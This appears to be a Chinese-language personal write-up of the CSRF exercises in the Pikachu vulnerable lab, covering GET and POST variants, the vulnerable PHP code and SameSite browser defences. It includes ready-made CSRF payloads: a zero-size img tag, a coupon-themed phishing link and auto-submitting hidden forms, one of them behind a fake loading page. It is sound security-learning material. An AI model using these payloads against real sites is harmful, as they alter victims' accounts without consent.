皮卡丘靶场解题记录-CSRF

get型

  1. 漏洞原理总结:

    就像你去银行办业务,柜员只用你的脸来确认身份,但从不要求你签字。

    通常办业务要两步:① 核实你是谁(看身份证 / 刷脸);② 你自己签字确认(”是的,我要转账”)。

    CSRF 漏洞就是:柜员(服务器)只做了第一步(看到了你登录的 Session Cookie,知道你是谁),但从不让你签字确认(没验证这个请求是不是你本人发的)。

    所以攻击者可以伪造一张”你签了字的转账单”(恶意 URL),趁你还在柜台前面(登录状态没过期),直接塞给柜员。柜员一看——“嗯,这人确实在柜台前面(Cookie 有效)”,就把钱转了。你全程站在柜台前,但完全不知道发生了什么。

  2. 我的测试过程:

    两个浏览器登录不同账号,账号A修改信息,发出请求时bp拦截,账号B正常登录。

    然后用账号A那边拦截的网址,在账号B的浏览器上查看。

    image-20260803014827516

    image-20260803014844771

    整个流程:

    1
    2
    3
    4
    5
    6
    正常用户修改信息:
    浏览器 → 打开修改页面 → 填表 → 点提交 → 服务器验证 Session → 修改成功 ✅

    攻击者伪造修改信息:
    受害者浏览器 → 点开攻击者给的链接 → 浏览器自动带上 Session Cookie
    → 服务器验证 Session(通过!因为已登录)→ 修改成功 ✅(但受害者完全不知情!)
  3. 核心漏洞代码分析:

    csrf_get_edit.php 第35-41行,用 Session 来判断”当前登录的是谁” ,然后根据这个身份去修改数据库—— 但它完全没有验证”这个请求是不是用户本人主动发起的” 。

    image-20260803013921869

  4. 实战延伸(价值所在):

    实战价值与门槛

    image-20260803015346783

代码兵器库

1
2
3
4
5
6
7
8
9
10
11
12
13
<!-- ===== Payload 1:直接修改链接(验证用) ===== -->
<!-- 登录后,在浏览器地址栏直接访问这个链接 -->
http://靶场地址/vul/csrf/csrfget/csrf_get_edit.php?sex=男&phonenum=13800000000&add=北京市朝阳区&email=test@test.com&submit=submit


<!-- ===== Payload 2:藏在 1 像素图片里(发给受害者) ===== -->
<!-- 嵌在邮件或网页里,打开就自动触发 -->
<img src="http://靶场地址/vul/csrf/csrfget/csrf_get_edit.php?sex=男&phonenum=13800000000&add=北京市朝阳区&email=test@test.com&submit=submit" width="0" height="0" />


<!-- ===== Payload 3:藏在"抽奖"链接里(钓鱼邮件模板) ===== -->
<!-- 发给受害者,看起来是抽奖,实际是修改信息 -->
<a href="http://靶场地址/vul/csrf/csrfget/csrf_get_edit.php?sex=男&phonenum=13800000000&add=北京市朝阳区&email=test@test.com&submit=submit">点击领取100元优惠券!</a>

补充:csrf和xss的核心区别

image-20260803015532387

POST型

  1. 漏洞原理一句话总结: 就像快递柜取件,GET 型和 POST 型的区别。

    GET 型 CSRF:快递员把取件码贴在小区公告栏上(URL里),你路过看了一眼,快递就被别人冒领了。

    POST 型 CSRF:快递员不贴公告栏了,要求你必须 亲自到快递柜操作面板上输入取件码 (POST提交)。但这没用——攻击者在你必经之路上装了一个假的操作面板(伪造页面),你走过去按了一下,快递又被别人冒领了。你以为自己只是在”查物流”,实际上已经”确认签收”了。

    核心:表单是 POST 还是 GET 根本不重要,只要服务器不验证”这个表单是不是从我自己网站提交的”,就防不住 CSRF。

  2. 我的测试过程:

    原理:表单里所有 type=”hidden” 的字段用户看不见,

    1
    <script>

    自动点提交按钮。你打开这个 HTML 的那一刻,浏览器就替你向靶场发了一个 POST 请求,带着你登录的 Session Cookie,服务器照单全收。

  3. **核心漏洞代码分析:**同上,只是请求类型为post,POST 数据在请求 Body 里,必须通过 表单提交 或 JavaScript 构造请求 才能发出去。所以需要换打法。

    image-20260803021615388

  4. 实战延伸(价值所在):

    实战价值与门槛:

image-20260803021834645

代码兵器库:【可以用bp构造POC,这里只做示例】

纯手工构造,可以在代码中找到input标签,type改成hidden隐藏放到body中,input标签的submit和<script的submit都要写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!-- ===== Payload 1:标准自动提交表单(保存为 poc.html) ===== -->
<!-- 受害者登录目标站后,打开这个页面即触发 -->
<html>
<body>
<form name="csrf" action="http://靶场地址/vul/csrf/csrfpost/csrf_post_edit.php" method="post">
<input type="hidden" name="sex" value="女">
<input type="hidden" name="phonenum" value="13800000000">
<input type="hidden" name="add" value="北京市朝阳区">
<input type="hidden" name="email" value="hack@hack.com">
<input type="hidden" name="submit" value="submit">
</form>
<script>document.forms.csrf.submit();</script>
</html>


<!-- ===== Payload 2:带伪装界面的钓鱼版(看不懂页面内容,降低警觉) ===== -->
<!-- 展示一个"加载中"的假界面,背后偷偷提交 CSRF -->
<html>
<body>
<h1 style="text-align:center;margin-top:200px;">页面加载中,请稍候...</h1>
<form name="csrf" action="http://靶场地址/vul/csrf/csrfpost/csrf_post_edit.php" method="post">
<input type="hidden" name="sex" value="女">
<input type="hidden" name="phonenum" value="13800000000">
<input type="hidden" name="add" value="北京市朝阳区">
<input type="hidden" name="email" value="hack@hack.com">
<input type="hidden" name="submit" value="submit">
</form>
<script>setTimeout(function(){document.forms.csrf.submit();}, 500);</script>
</html>

补充:

实战操作:

构造poc.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>csrf攻击页面</title>
</head>
<body>
<form name="csrf" action="http://101.43.30.86/vul/csrf/csrfpost/csrf_post_edit.php" method="post">
<input type="hidden" name="sex" value="菜菜蛇">
<input type="hidden" name="phonenum" value="098">
<input type="hidden" name="add" value="翻斗花园">
<input type="hidden" name="email" value="456">
<input type="hidden" name="submit" value="submit">
</form>
<script>
// 等待页面全部加载完毕再提交
window.onload = function(){
document.forms.csrf.submit();
}
</script>
</body>
</html>

尝试之后发现会被新版浏览器拦截,目前post型的csrf是很难利用的,所有现代浏览器(Chrome/Edge/ 华为)默认 SameSite 限制都会拦截跨站 POST CSRF,所以真实环境里 POST 型 CSRF 漏洞现在很难利用

原因:

1
2
3
4
5
6
现代浏览器(Chromium 内核:Chrome/Edge/ 华为 / 360;Safari)默认 Cookie 属性:SameSite=Lax
规则:
跨站 POST 请求:浏览器不会自动携带站点 Cookie → 你的伪造表单发出去不带登录会话,服务器不认,攻击失效;
仅老旧浏览器、Firefox 默认宽松策略能放行,但真实网民极少用火狐。
靶场里能复现,是教学环境刻意弱化防护,现实网站全部遵循浏览器标准策略。
哪怕你做钓鱼页面诱导用户点开,只要对方用主流国产 / Edge 浏览器,跨域 POST 直接不带 Cookie,攻击无效。

现在实战主流是「绕过 SameSite」

image-20260804144148517

找到一篇教程,绕过

详解BP靶场CSRF令牌与SameSite防御绕过实战-开发者社区-阿里云

大概看了一下,非常详细,但我最近是在重新刷靶场打基础所以先略过,后面会复现这个教程【有一说一,认真分类搞之后发现没以前那种学了就忘的感觉了,之前是东学一点,西学一点,需要用什么就学什么,乱七八糟的】

除此之外还需要补充这两点知识:SameSite=None; Secure强制配对规则;Partitioned Cookie、子域名同站绕过、客户端跳转绕过 SameSite Strict 等进阶手法(文章没有覆盖)